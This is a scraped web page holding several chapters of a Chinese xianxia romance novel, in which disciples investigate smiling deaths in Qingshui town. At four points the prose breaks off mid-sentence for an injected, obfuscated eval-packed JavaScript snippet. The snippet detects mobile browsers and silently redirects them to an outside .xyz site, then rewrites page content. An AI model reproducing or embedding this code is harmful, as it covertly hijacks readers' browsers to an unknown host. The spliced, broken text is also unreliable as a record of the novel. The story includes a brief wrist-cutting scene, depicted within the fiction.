来到玉霄殿，谢思量正站在梨花树下，身边环绕着一个剑阵。 看着那数不清的剑影，薛满再次感慨高山仰止，能被摇光仙尊收为亲传真的是他运气好，原本他是不抱希望的，能被谁选上就选上，选不上就算了，但没想到最后的结果却大大出乎他的意料。 感受到薛满的气息，谢思量道：“何事？” 剑阵还在运行，薛满便没有靠近。 他打开手中的卷宗，道：“弟子即将去清水镇出行任务，前来和师尊报告一下。” 卷宗一旁写着任务情况，另一边写着参加人员。 看着上面多出的“姜揽月”三个字，薛满简直怀疑自己看错了。 “师尊，师娘……” “你师娘怎么了？” “师娘居然也参加了。” “这次任务还有谁？”谢思量微不可察地皱了一下眉。 “宋卿尘和白晴雨。”薛满道。 “哦，怪不得，”薛满想清楚了其中的缘由，“宋卿尘是师娘师兄，两个人一起去理所应当，宋卿尘师兄还能带着点师娘。” 谢思量一言未发，洁白的雪花落到了他乌黑的睫毛之上，随后又立即融化。 他忽觉体内翻涌绞痛，随即剑阵竟自行破开了，数道剑影同时消失。 少年内心一惊，怎么会出现这种事？这是他修炼以来第一次碰到这种情况。 薛满还在继续：“对了，我今日去宫商阁的时候，还看到师娘……咦，师尊，你把剑阵收了？” “今日先不练了。”谢思量垂眸，“你继续说。” “我今日去宫商阁，还看到师娘和宋卿尘师兄一起摘莲蓬呢。原来宫商阁的莲蓬可以摘啊，下次我也让我朋友带我一起去摘。” 话音刚落，他便听谢思量微哑的声音响起：“这次出行我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951787|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你一起去。” “啊？”薛满很惊讶，“师尊你和我一起去？” 没有听到回答，谢思量已经转身走回了玉霄殿，只给他留下一个清瘦的背影。 * 云雪峰的小路上，姜揽月肩上挎着一个小竹篮，里面放满了莲子。 她刚刚和宋卿尘比赛摘莲子赢了，心情好的不得了。 少女抓起一颗莲子，放入嘴中，清甜的味道在舌尖炸开，甜滋滋的。 谢思量口味清淡，应该会喜欢这个莲子吧。 若是他喜欢，就给他分点。若是他不喜欢，我就全部吃完。 姜揽月不由得唇角轻扬，美食会让人心情变好。 来到玉霄殿，她一眼便看到了谢思量，谢思量还在练剑。 落花与落雪之下，少年白衣翩翩，手中剑招翩若游龙，宛若惊鸿，实在是令人惊叹。 姜揽月情不自禁鼓起掌来：“好漂亮的剑法！” “今日怎地回来的这么晚？”谢思量手中还握着剑。 “我去采莲子啦！”姜揽月扬起手中的竹篮，“谢思量，你快尝尝，可好吃了！我觉得你也会喜欢。这是宫商阁的莲子，宫商阁的莲花池里有好多莲蓬，我今天去摘了。如果你也喜欢的话，下次我多摘点，或者你也可以和我一起去摘。” 听懂了，原来莲子是给他摘的。 谢思量放下了手中的剑，观雪自他手中消失。 姜揽月见状，连忙走近谢思量，她拿起一颗莲子，将外皮剥去，道：“谢思量，尝尝吧。” 谢思量听话张嘴。 清脆的铃声在耳边响起。 嘴唇忽地有温热的触感，谢思量微愣，随即便明白，这是姜揽月的手。 少年眼睫轻颤，一阵心悸。 莲子入嘴中，谢思量只感到凉丝丝的，其余什么也感受不到。 “怎么样？好吃吗？” “好吃。”少年缓缓道。 姜揽月说他喜欢的话就和他一起摘莲子。 “好，那下次我们一起去。”姜揽月道，“不过我过几日得去出任务，去清水镇。你知道吗？薛满居然和我一起。” 谢思量微微颔首：“我知道，我和薛满一起。” “啊？”姜揽月有些惊讶，他们都没师尊陪啊，谢思量说他和薛满一起？ 少年声音又响起：“我徒弟第一次出任务，我不放心，必须陪着。” 19. 清水镇（一） “谢思量，你怎么也来了？！” 云舟上，宋卿尘看着面前多出来的谢思量，满脸震惊。 不是，他们这入门弟子任务，需要一个化神期大佬来吗？这未免是不是太有点大材小用了，而且其他几位长老知道吗…… “思量哥哥，你和我们一起？”白晴雨也很不解，他们这组有两个刚入门的弟子，怎么也轮不到谢思量来啊。她眼角一瞥，明白了，应该是因为姜揽月。 不是说二人成亲只是因为报恩吗，白晴雨闭了闭眼，到底是谁传出来的。 谢思量未做言语，只轻轻点头，仿佛没有听到他们语气中的惊讶，而他出现在这里也是非常理所应当的事情。 “师尊说，我第一次出任务，他不放心，陪我一起。”薛满摸着脑袋在一旁解释道。 宋卿尘&白晴雨：“……” 你听听这能信吗？ 宋卿尘：“你师尊确实挺好。” 姜揽月听到后，也道：“仙君对徒弟真好，我师尊都没来陪我。” 宋卿尘&白晴雨&薛满：“……” 白晴雨的背上背着一把弯刀，她望向姜揽月，发现姜揽月的背上多出了一个琵琶，问道：“你这是在琅琊阁拿的神武吗？” “对。”姜揽月点头，“她叫太华，太华就是我的宝宝。” 在剑修心中，剑就是老婆。在刀修心中，刀就是老婆。而在姜揽月心中，太华就是她的宝宝，大宝，思君就是她的二宝。 “对啊，你还不知道吗？”宋卿尘接过话茬，“当时那个郑谦，就我们宫商阁那个郑谦，你认得吗？” 白晴雨回想了一下，果断摇头：“压根不知道有这号人物。” 随即她又道：“只有强者才配让我记住名字。” 宋卿尘：“那怪不得。当时在琅琊阁，揽月碰到了一只蓝蝴蝶，然后郑谦居然跑来说那蝴蝶是他的，应该属于他，简直是强盗行为。” 姜揽月：“对，很令人无语，所以然后我打败了他。” 宋卿尘立马鼓掌：“我的师妹，然后立马打败了他。” 薛满也鼓起掌来：“对，师娘打败了那个人。” 白晴雨看着这两人捧场的样子，不禁有些疑惑：“咦，宋卿尘，你当时在现场？” “对啊。” “你不是有神武了吗，怎么还去琅琊阁？” “陪朋友一起去的。” “哦，怪不得。”白晴雨又看向姜揽月，少女背后的太华玲珑剔透，泛着淡淡的蓝光，“你最近修炼的如何？” 姜揽月笑道：“前一段时间刚破金丹。” “已经入金丹了？！”白晴雨很惊讶，姜揽月修炼的速度超乎她的意料，这么快？！ “对。”姜揽月解释道，“前些日子出去历练了一番，然后就破金丹了。” 白晴雨拿出刀：“那你可以和本小姐比试了！来吧！” 姜揽月一直记得白晴雨之前对她说的话，缓声道：“回去吧，先把清水镇的事情解决了，到时候我一定和你比。现在清水镇的事情更加紧急，等回来你想打多少场我就陪你多少场。” 宋卿尘在一旁看热闹：“你们也太喜欢比试了。” “好吧。”白晴雨面上有些惋惜，她收回长刀，“这可是你说的。” “嗯，我说的。” 面前的女子面容姣好，一双桃花眼天生含情，穿着白色的留仙裙，更显花容月貌，白晴雨不知不觉又有些脸红。 她转过头，不自然道：“薛满，卷宗给我看看。” “好。”薛满将卷宗递了过去。 姜揽月也凑了过去：“我也看看。” 清水镇最近频频有怪事发生，一些人不明不白就死亡了，有烟柳之地的歌女，有商贾之子，也有官员之子。据说每个人死亡之时嘴角都挂着甜蜜的微笑，诡异至极。最近便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964870|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是几位商贾之子和官员之子去世了，所以事情才会传到昆仑这里。 “诡异至极的微笑？”姜揽月猜测道，“有可能是妖。” 宋卿尘：“不过看这死的人都非富即贵，也有可能是人为。” 薛满道：“确实，人与妖都有可能。” 几人谈论中，谢思量一直都没有说话，他在思索前几日自己的剑阵为何会破，不知这段时日会如何。 “揽月，你琵琶弹的怎么样啊？我想听你弹琵琶。” 等待的过程太漫长，白晴雨便想打发打发时间。她是刀修，自小便和刀枪棍棒打交道，有的时候碰到音修也是各种比试，她忽地想听听非战斗情况下的乐曲。 “好啊，我现在就来弹给你听。”姜揽月欣然应道。说实在的，这样一直等着她也很无聊，这里也没有手机。 她拿下琵琶，纤纤玉手抚上琴弦，只听得泠泠琴音悠扬曼妙，仿佛天上仙乐。 音修一旦听到音乐就会不由自主加入，半盏茶的功夫后，宋卿尘也拿出自己的笛子。 一时间，琵琶声与笛声同响，或如清澈如溪水潺潺，或轻灵如水雾缭绕，或澎湃如河水奔腾。 “哇，好听好听！”白晴雨和薛满鼓掌道。 两位长老的亲传音修亲自来表演乐曲，这副情景可遇而不可求，云舟上其他的修士也逐渐围了过来。 “再来一曲！” “师兄师妹再来一首！” 而姜揽月和宋卿尘也正到了兴头上，二人一弹一吹，居然就这样一直过了一个时辰 谢思量原本的思绪被打断，他听到二人被众人簇拥，心尖好似也被人不轻不重的拨弄了一下。 他也会弹琴。 他也可以和姜揽月合奏。 待一曲结束之后，一道关切的声音响起。 “揽月，宋道友，如此弹奏实耗灵力，距离清水镇还有半日，不如先歇息一番。” 20. 清水镇（二） 云雾缭绕，云舟穿梭在云朵之中。 姜揽月看向谢思量，确认道：“只剩下半日了吗？” 谢思量轻轻点头。 “那今日就先到这里了。”姜揽月果断地收起自己的琵琶，五个人当中，她的修为最低，而且谢思量都提醒了，她自然不可多耗费灵力，她可不想到时候成为拖后腿的那一个呢。 “你不弹了吗？那我也不吹了。” 见姜揽月收起了琵琶，宋卿尘也没了继续的兴致，周围围着的人逐渐散去。 姜揽月小声对谢思量道：“谢思量，你真好，居然还提醒我，我一定会努力的。” 谢思量嘴角微动，道：“无事，现在还有半日，你可以慢慢修养调息。” “嗯，我会的。”姜揽月应道。 几个时辰后，几人来到了清水镇。 这里车水马龙，人来人往，是附近的一片富庶之地。人们的交谈声，商贩们的叫卖声，孩子们的嬉闹声，共同织成了一张细密的网，将清水镇牢牢罩住。 “好久没下山了啊。”宋卿尘看着两旁鳞次栉比的商铺道。 “确实。”白晴雨道，“我爹娘都不让我下山，我至今下山的次数五个指头都能数的过来。” 薛满：“我还是进入昆仑后第一次下山呢。” 姜揽月：“那我比你多一次，我已经是第二次了。” 宋卿尘又道：“听说这里的醉清风不错，马上想去尝尝。” 姜揽月：“想吃抄手了，不知道有没有抄手。” 薛满：“这里我儿时应该来过，我记得当时我爹就带我吃抄手了。” 谢思量在一旁听着这四个人的对话，内心有些无言。 最后，还是姜揽月拿着卷宗道：“等结束后我们在想这些吧，先去这个张员外的家里？” 宋卿&白晴雨&薛满：“好！” 谢思量：“嗯。” * 几人在路边问了好些人，最后终于来到了张员外家中。 这位张员外是本地的一个富商，前些日子，他的儿子也陷入沉睡中，然后便不明不白的死了。张员外便联合其他几位富商和达官贵人，一起上报昆仑宗。 “这是天上来的仙人吗？” 管事婆婆一见几人仙风道骨，衣着打扮皆是不凡，认出这不是寻常之人，态度立马变得恭敬起来。 宋卿尘拿着昆仑的玉牌道：“听闻此地近日时常发生一些人无缘无故死亡之事，我们是昆仑宗弟子，奉前来调查此事。” “什么？是仙人、是仙人来了吗？是天上的仙人吗？” 屋内的张夫人和张员外一听是昆仑宗的弟子来了，立马跑出来迎接。 “仙人啊，你们一定要为我们做主啊！我儿死的不明不白！不知道哪个奸人害得我儿……若是找到，我一定要抽他的皮扒他的骨。”张夫人的眼泪像断了线的珠子一样掉了下来。 张员外也劳累纵横：“我们老来得子，就这么一个儿子啊，仙人你们要替我们做主啊。” 薛满轻声安慰道：“夫人员外请放心，我们一定会将背后作乱的妖魔抓住。” 宋卿尘：“没错，夫人请放心，一切就交给我们。” “好，各位仙君一定要替小儿做主，小儿虽说行事骄纵了一些，但从来没有做过伤天害理之事，我儿不该是这样的结局啊。”张夫人又开始哭起来。 “夫人请冷静，”姜揽月道，“可以和我们说一下令公子的详细情况吗？” 恰好宋卿尘也在此时开口道：“夫人、员外，卷宗上说令公子去世时嘴角挂着笑？” 张员外含泪点了点头：“确实。那日小儿一睡不醒，我们刚开始只以为小儿需要休息。但是直到晚上，小儿也没有醒来的迹象，我们立马找了大夫，大夫诊治后也说不知道是什么病，然后又过了几天，小儿便去世了。不知为何，小儿死的时候还在笑。” “张小公子在昏睡前有没有吃什么食物？或者去了哪里？”白晴雨问道。 “我儿的吃食一切正常，都是府中的厨子们做的，和我们吃的都是一样。”张夫人答道。 姜揽月道：“不曾出去过吗？” 张员外嘴唇动了动，不知该说不该说。 见张员外面有难色，薛满道：“请夫人和员外一定要如实相告，这样我们才能找到尽快找到凶手。” 姜揽月开口：“请夫人和员外不要隐瞒，不然无法告慰令公子的在天之灵，相信他也希望你们能够如实说出。” 最终还是张夫人闭了闭眼，道：“小儿、小儿喜欢去那烟柳阁，昏睡前一日便去了烟柳阁。” “烟柳阁？”薛满有些不解，这有什么不好意思的说的。 而姜揽月和宋卿尘却是一听就明白了，怪不得张夫人和张员外不愿意说出来，对于大户人家来说，这种地方确实不好说出口。 张夫人又哭道：“我早就说那烟柳阁不是什么好地方，可我儿就是不听，整天和那群婊子混在一起。肯定是和那群人待在一起才会成这样的，尽和一些不三不四的人交往。那群婊子都是些吸人精气的家伙，我儿一定是被那些小贱人吸了精气。一定是烟柳阁那群贱人，肯定是那群贱人害了我儿。” 张夫人一口一句贱人让姜揽月觉得有些刺耳，她不由得微微皱起了眉。 谢思量眉间划过一丝躁郁之色，他看不见，刺耳的声音只会让他觉得烦躁。 薛满和白晴雨则双双愣住，二人刚刚还不知道烟柳阁是什么地方，张夫人这么一说，两人立马就懂了，不知道该说什么。 “好，那我们先行告辞了，若是有消息，一定会告知夫人的。”姜揽月拱手道。 “好，仙人慢走，请仙人们一定要为小儿做主啊。”张员外道。 走出张员外的家中，薛满说道：“我们、我们要去那个烟柳阁吗？” 谢思量回答：“再去其他几家问问。” 姜揽月也点头：“多去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976902|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几家看看吧，我看这卷宗上也有烟柳阁的歌女。” “好。” 几人按照卷宗所说，又寻了一处人家。 红墙绿瓦，阳光洒在斑驳的墙上。 “咚咚咚。” 片刻后，一名妇人出来开了门，她穿着白布衣服，神色憔悴，双眼通红。 看着忽然出现的几人，她眼中也没有恐惧，只有麻木。 白晴雨直接道：“你好，我们是昆仑宗的弟子，接到此处妖魔作乱的消息，可否告知令公子的具体消息？” “我儿……”妇人开了个头，两行泪顺着脸流了下去，接着便啜泣起来。 几人面面相觑，谢思量直接退后了几步，没有上前。 姜揽月走上前去，轻声问道：“那我问你几个问题，你只要点头或者摇头就可以了，点头代表‘是’，摇头代表‘不是’，可以吗？” 妇人点点头。 “令公子死前脸上挂着笑吗？” 妇人点点头，双眼还是通红。 “那令公子生前去过烟柳阁吗？” 妇人愣了愣，像是没想到姜揽月居然问出了这种问题，不过随后她点点头。 “好，我们就先问到这里。”姜揽月关切道，“大娘，如果有消息我们一定会告诉你的。” 那妇人含泪点了点头。 告别这家后，几人又问了好几个最近死亡的人，得到的结果都一样。 “那我们去烟柳阁看看吧。”薛满道。 他手中拿着卷宗：“烟柳阁也死了两名女子。” “那便有些奇怪了。”白晴雨道。 姜揽月抬眼看向谢思量：“谢思量，你觉得这是人做的还是妖做的？” 自从来到清水镇后，一直都是他们四个在叽叽喳喳，谢思量几乎一句话都没说，好似一个旁观者。 “这里妖气很重。” 阳光下，他的睫毛像是被洒了金粉，泛着金色的光。 “嗯，我也觉得。”姜揽月道。 几人来到烟柳阁，刚刚从张夫人口中他们已经知道这是什么地方了。 这里熏香袅袅，充斥着美酒与美人。 刚踏入门槛，便是一道浓郁的香气和一阵靡靡之音。 再往里看，烟柳阁内的女子都姿容艳丽，风姿绰约。 有几个美人看到门口来了人，衣着打扮皆为不凡，丁伟贵客，直接便向几人抛了媚眼。 宋卿尘和姜揽月将媚眼抛了回去，白晴雨不知所措，薛满则一见便羞红了脸。 而谢思量，根本看不见。 他微微皱眉，这里的味道对他来说太刺鼻了，周围的吵闹也很令他心烦。 若是平常，他定不会接受这种任务，他只喜欢对着妖物直接提剑。 鬼使神差，他往姜揽月身边微微靠近，只有姜揽月身上的冷香才能让他舒缓。 手指触碰到少女的衣料，是凉凉的丝绸，少年的眉头逐渐舒展开来。 21. 清水镇（三） 烟柳阁，美人如云，丝竹悦耳。 白晴雨打量着周围，嘀咕道：“这里好多美人啊。” 姜揽月小声道：“确实，眼睛都看不过来了。” 她戳戳白晴雨：“你看那个，好美。” “确实好漂亮！” 随后，她又道：“好可惜，谢思量看不见。” 谢思量：“……” 姜揽月又回头：“宋卿尘，这里可能有你的醉春风。” 宋卿尘笑道：“我马上来问问。” 一名女子走向几人，带着笑意的声音响起：“女子不可入内哦。” 来人生了双凤眼，媚眼如丝，看起来极为年轻，大概和他们差不多大，乌发如云，笑起来眼底微波荡漾。 “女子为何不可入内？”白晴雨不解，“你们不也是女子吗？” 那女子又笑了一声，声音轻轻柔柔：“小妹妹年纪还很小呢。” “我年纪也不小了，你看起来和我差不多大啊。” 姜揽月不忍再听二人的对话，她拿出昆仑的玉牌：“好姐姐，我们是昆仑仙宗的弟子，奉命前来调查清水镇妖魔之事的。听闻这里有两名歌女去世，恳请姐姐让我们进去。” “原来是昆仑宗的仙人啊，仙人快请进。刚刚是丽娘有眼无珠，不好意思了各位仙人们。” “无事，你们原来也不知道。” 几人便一起进入了烟柳阁。 一些女子纷纷打量起他们来，眼里露出惊艳之色，尤其是谢思量。 谢思量生得好看，不仅是烟柳阁，不管走在哪里都会被人注视。 姜揽月悄悄在他耳边道：“谢思量，她们都在看你呢。” 谢思量对此却不甚在意，道：“专心找出妖魔。” 好一个无情道剑修，姜揽月在心中嘀咕。其中她这句话抱着点调戏的意思，但谢思量根本不吃这套。 走入房间内，宋卿尘便直接道：“听说这里也死了两名姑娘。” 一听这话，丽娘叹了口气，点点头。 “听说去世的人嘴角都挂着笑，这两位姑娘也是吗？” “是。” “死者生前有碰到什么人吗？” 丽娘摇摇头：“这我就不知道了。不过，我只能说，这两名姑娘都只是寻常姑娘罢了，平日本本分分，都没有什么出格的事情。” 这时，忽然有一个约莫十三四岁的小丫头跑来：“几位仙人哥哥姐姐，你们可一定要找出妖怪啊。灵姐姐和秀姐姐都是顶顶好的人，经常给我买糖吃，可是居然会被妖怪盯上，现在外面都说我们烟柳阁吃人，可是烟柳阁也有人被祸害啊。” 姜揽月眼眸微动，刚刚在张员外中她便知道了，虽然这边没有禁止风俗业发展，但是从事风俗行业的女子社会地位还是不高。 她看向小女孩，道：“你放心，哥哥姐姐们一定会找出那个妖怪，还你们一个公道。” * “要不我们扮成这里的歌女？引诱妖怪出来。”宋卿尘提议道。 丽娘走后，几人商议起如何将妖怪引出来。 “可以，不引蛇出洞，那妖可能根本不出来。”姜揽月道，“都说这里的人死去的时候脸上都含着笑，我只知道一种妖能做出这种景象，那便是幻妖。你们觉得呢？” 这种妖怪她之前在原著中见过，是男主打的一个小妖，没想到居然阴差阳错她也碰上了。 “幻妖？”白晴雨回想起来，“好像在书中见过。” “不错，幻妖能让人在梦中产生幻镜，被幻妖看上的人都会在梦中’实现’自己的愿望和欲望，所以人死后脸上便会带着微笑。”谢思量解释道。 “师尊好厉害，这就想到了。”薛满不无憧憬道。 宋卿尘“啧”了声：“你也不想想你师尊都捉了多少妖魔了。” “那谁去扮成歌女？”白晴雨开口。 姜揽月自告奋勇：“我去吧，我会弹琵琶。” 薛满连忙道：“师娘，你堪堪才金丹，会不会有些危险？” 白晴雨也阻止道：“确实，揽月你刚刚才来，假如斗不过那妖怎么办？！我去，看我不把那妖怪给砍死！” 说着，她便拿出了自己一米长的大刀，锐利刀锋在烛光下反射出泠泠的光芒。 姜揽月：“……” 上辈子怎么没发现白晴雨的性格居然是这样。 “你们怎么总是想着打打杀杀？”宋卿尘问道，“你会唱歌吗？” 白晴雨摇头：“不会。” “那你会乐器吗？” 白晴雨还是摇头：“也不会。” “都不会你怎么扮歌女？”宋卿尘道，“还是我去吧！” 姜揽月睁大双眼：“师兄，你一个男修怎么去？” 白晴雨也皱眉：“你一个男的怎么扮歌女？” “我男扮女装啊。” 众人：“……” 薛满不可置信道：“这样也可以吗？” “这怎么不行？”宋卿尘道，“你们是剑修，我是音修，我扮成女子然后弹琴，妖怪怎么看的出来？！” 薛满弱弱道：“真的看不出来吗？” “你这是在小瞧我？” “不敢不敢。” 见几人不赞同自己的想法，宋卿尘转向谢思量：“谢思量，你怎么说？” 一直都没有说话的谢思量终于开口了：“我和揽月一起，你和薛满一起，白师妹守着烟柳阁的其他人。” 宋卿尘眼前一亮：“这好主意啊，摇光仙君不愧年纪轻轻就当上了长老。反正你俩本就是道侣，在一起理所应当，你们觉得呢？” “没有意见。”姜揽月道。 “什么，宋师兄真的要男扮女装啊？”薛满震惊。 宋卿尘却乐在其中：“我觉得这个主意很不错，你师尊不愧是你师尊。” 白晴雨道：“你们四个在一起，为什么我不在啊？” 谢思量解释道：“若是妖伤害了烟柳阁其他姑娘，我们不能及时出现，便需要白师妹了。” 姜揽月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982862|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“你去保护那些姐姐。” “这样啊。”白晴雨道：“行，我同意了。” “好，那就这么定了。” 几人商议好便将计划告诉丽娘，丽娘听后打量着宋卿尘，面前的公子长相俊秀，温文尔雅，比另一位漂亮修士看起来好相处很多。 她调侃道：“这位公子，很有献身精神啊。” 宋卿尘扬起头：“为了能早日将妖魔抓住，我在所不辞。” “好，我喊几位姐妹出来一起来将二人梳妆打扮一番。” 丽娘一声喊下，立马出现了几位年轻的姑娘，将二人带到铜镜前。 白晴雨站在一旁，饶有兴致的看着二人化妆，时不时还点评一番。 “揽月这个头饰好好看哦。” “宋卿尘，之前都没发现你眼睛这么大。” …… 薛满和谢思量坐在一旁等着二人化妆，由于两人长相皆是惊艳，频频有女子看向二人。 薛满被看的害羞，不敢抬眼，他要么低头看桌子，要么抬眼看谢思量。谢思量面上表情淡淡，正在喝着茶水。 师尊怎么一脸无所谓啊，怎么才能像师尊那样不在意这些目光啊？ 哦，师尊是瞎子，所以他根本看不到。 不对，师尊已经化神了，不可能“看”不到。 “师尊，你知道有很多人在看着我们吗？”薛满小声问道。 “嗯。”谢思量没有否认。 好像看出了他的焦虑，谢思量又道：“不用在意。如果实在难受的话，念清心咒吧。” “哦，好，清心咒。” * 待妆娘将化妆完成后，姜揽月看看镜中的自己，朱唇粉面，眼中含情，她觉得这个水平比她自己好多了，她甜甜道：“谢谢姐妹们。” “不客气，不愧是天上来的仙人，长得真美。” “这位公子长得也很俊啊，瞧这小脸蛋，水嫩水嫩的。” 白晴雨也道：“你们两个都好漂亮。” 姜揽月转头，看到宋卿尘，吓了一跳，不过不得不说，这家伙女装还真的挺好看的。 只见他肌肤玉白，嘴唇殷红，头发被绾成了云髻，簪着一朵艳红的花，却一点都不显媚俗。 宋卿尘修长的手指摸着自己的头发：“师妹，你看我怎么样？” 姜揽月毫不吝啬道：“美！没想到师兄你女装也这么美啊。” 正喝茶的谢思量微微顿住，修长的手指摩挲着茶杯。 姜揽月之前说他才是最好看的。 “哈哈哈哈师妹你也很美，我宣布我俩都是花魁，昆仑花魁！”又一道声音传来。 “我来看看，我来看看，”是薛满的声音，“哇，两个人都很美！美若天仙！人间芙蓉！” 美？ 什么是美？ 到底有多美？ 一道又一道的声音传入耳中，谢思量长长的睫毛颤了颤，之前思君剑带给他的幻境又浮现在眼前，姜揽月会是那境中女子的模样吗？ 22. 清水镇（四） 化完妆之后，四人纷纷来到房间中。 姜揽月走到谢思量身边：“谢思量，我们一起进去吧。” 谢思量起身：“嗯。” 穿过楼梯，走到到房间后，姜揽月才发现这个房间装饰地非常喜庆，到处都是红绸，角落处还摆放着红色的蜡烛，噼里啪啦地响着，不知道的还以为他们两人要结婚呢。 见桌上有茶壶，她先给两人都倒了一杯茶，这么久未进食，她有些饿了。等结束后，她一定要大吃特吃。 “谢思量，今天不高兴吗？”姜揽月开口。 茶水清香，她一连喝了好几口。 和谢思量相处久了，她自认为能感受到谢思量的心情。 “没有不高兴。”少年淡淡道，拉开椅子，坐到了姜揽月对面。 “哦，不想和我说就算了吧。” “……”谢思量没说话。 姜揽月喝过水后，就走到了古琴前，清澈的琴音从她指尖缓缓流泻。 这烟柳阁的琴材质一般，自是比不过修仙界的琴，但是，真正好的音修是不管什么乐器都能弹奏出好的音乐来。随即，姜揽月便投入到了自己的琴声中。 片刻后，她听到一阵清越的剑鸣声。 是观雪的声音。 ？ 妖怪来了吗？可是她没感觉到啊？ 她抬起头，谢思量手中果然现出了观雪，银色的剑身泛着泠泠冷光，能够清晰的倒映出人影。 ？他要干嘛？想自己的剑老婆了？ 姜揽月没有太在意，毕竟这是人之常情，她也时常会摸摸自己的太华，转而又沉浸入自己的音乐中。 可是，不想再抬眼，却见谢思量正拿着观雪猛地刺向自己的手腕。 “谢思量！你在做什么？！” 姜揽月吓得魂飞魄散，连忙跑到谢思量身边，一手抱着他的腰，一手抓住了他的胳膊。 “不是，你干嘛？为什么要割自己的手腕？” 尽管姜揽月的动作很快，可是观雪还是刺破了他的手腕，鲜血沿着手腕一滴一滴的滴到了地板上。 “你又做什么？”谢思量的语气好似有些疑惑。 “你干嘛拿观雪？你要自杀吗？” “自杀？”谢思量略微有些无言，他没想到姜揽月居然会往这方面想，“没有准备自杀。” “那你要做什么？” “这里气味太浓郁了。” “啊？气味浓郁？”姜揽月有一瞬的呆滞，猜测道，“难道，因为你不喜欢这里的气味，所以你用这个转移注意力？” “嗯。”谢思量没有否认。 “那你也不能这样转移注意力啊。”姜揽月不可思议，她第一次见到有人用这种方法转移注意力，见谢思量手中还拿着剑，于是又道，“你先放下观雪。” 谢思量眼睫微垂，动作似有些迟疑。 “放下吧。” 见他终于收起了观雪，姜揽月才放心，她放开了紧紧抱着谢思量腰的胳膊。 “为什么不和我说？”姜揽月问道。 谢思量垂了垂睫，没说话。 “我知道了，你肯定是以为我不能解决，告诉我没用，所以不和我说。”姜揽月嘀咕，她拿出了芥子囊中的纱布和膏药。 “不是。”没想到谢思量这会说话了。 “那是什么原因？” “不想麻烦你。”少年道。 什么？居然是这个原因？ 果然是无情道修士啊，居然会担心麻烦她。 “我们都是这种交情了，还说什么麻烦不麻烦。手伸出来，我来给你包扎。” 面前的少年乖乖伸出了手腕。 只见他玉白的手腕上是狰狞的伤口，深可见骨，猩红的血液分外刺眼。 姜揽月咋舌，居然舍得对自己下这么狠的手。 她小心的将药膏涂抹在伤口边缘，道：“你不疼吗？” “这样才能转移心志。” “好吧，”姜揽月叹气，她不理解，随后道，“算了，不怪你不和我说，你应该也不知道。” 她忽地压低了声音：“偷偷告诉你，鲛人一般身上都会有一种香味，不是我自恋，一般鲛人都会有的。” 姜揽月没有夸大，鲛人种族现在很稀少，有一个原因是一些修士和人类会“圈养”鲛人，因为鲛人不仅可以生产珍珠，还有其他用途，就比如天生的香气，会有一些黑心之人拿此做香料，甚至还有修士购买鲛人用作炉鼎。 “你如果不嫌弃的话，可以、可以离我近点，不过我也不确定有没有效果。”姜揽月说地很小声。 温热的气流钻进了谢思量耳中，挠地他心痒。 被她握在手中的手指明显地僵了僵，像是未想到姜揽月竟会这么说。 察觉到谢思量的动作，姜揽月以为他是不好意思，便主动往谢思量身边凑。 “都这份上了，别再不好意思了。” 她将伤口包扎好，在谢思量的手腕上系一个蝴蝶结，然后显现出了自己的鲛人耳朵。 烛火下，少女半透明的耳廓流动着珍珠色和金色的光泽，细小的鳞片勾勒流畅的波浪曲线，仿佛被海水雕琢的精灵耳。 好久没有现出鲛人的特征，姜揽月有些陌生，也有些害羞，感觉自己在“裸奔”，幸好谢思量看不见，瞎子也有瞎子的好。 “谢思量，我化出了鲛人耳朵，你不要、不要碰我耳朵。” 一股更加浓郁的冷香袭来，谢思量的内心仿佛有什么猛然炸开，连与姜揽月触碰到的肌肤也觉得烫，他压下内心奇怪的想法，点点头。 “现在应该好受了一些吧？” “嗯。” 二人离的很近，看着面前近在咫尺的脸，少年眉目如画，五官精雕玉琢，琥珀色的瞳孔中是跳跃的烛火，姜揽月咽了咽口水，索性道：“谢思量，要不，我们趁此机会演一演？” 忍着内心的不适，谢思量开口：“怎么演？” 